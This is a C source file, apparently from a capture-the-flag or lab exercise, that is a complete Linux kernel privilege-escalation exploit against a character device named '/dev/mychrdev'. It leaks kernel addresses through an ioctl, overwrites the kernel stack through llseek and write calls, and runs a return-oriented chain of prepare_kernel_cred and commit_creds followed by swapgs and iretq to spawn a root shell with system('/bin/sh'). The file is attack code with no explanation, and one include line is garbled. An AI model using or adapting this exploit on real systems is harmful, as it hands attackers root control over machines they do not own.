1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stropts.h> #include <sys/wait.h> #include <sys/stat.h> #include <pthread.qh>
#define pop_rdi 0xffffffff813ead2c #define prepare_kernel_cred 0xffffffff8108d690 #define xchg_rax_rdi 0xffffffff81768ef2 #define commit_creds 0xffffffff8108d340 #define swapgs 0xffffffff81c00eae #define iretq 0xffffffff81025a56
int fd; size_t data[0x4000]; size_t mydata; size_t stack; unsigned long user_cs, user_ss, user_flags,user_sp ; void save_status() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_flags),"=r"(user_sp) : : "memory" ); }
void shell() { printf("uid:%d\n",getuid()); system("/bin/sh"); }
void main() { printf("uid:%d\n",getuid()); save_status(); signal(SIGSEGV, shell); signal(SIGTRAP, shell); fd = open("/dev/mychrdev", O_WRONLY); ioctl(fd,0x1111,data); mydata=data[4]; stack=( data[2] | 0xffffc90000000000) -0x10; printf("[+] mydata at %p\n",mydata); printf("[+] stack at %p\n",stack); write(fd,data,0xf000); llseek(fd,0x100,0); write(fd,data,0x10000); llseek(fd,0x10001,0); data[0]=stack-mydata; data[1]=stack-mydata+0x10000; write(fd,(char *)data+1,0x10000); size_t off=stack&0xff; llseek(fd,off,0); int i=0; data[i++]=pop_rdi; data[i++]=0; data[i++]=prepare_kernel_cred; data[i++]=xchg_rax_rdi; data[i++]=commit_creds; data[i++]=swapgs; data[i++]=0x246; data[i++]=0; data[i++]=iretq; data[i++]=&shell; data[i++]=user_cs; data[i++]=user_flags; data[i++]=user_sp; data[i++]=user_ss; write(fd,data,0x100); }
|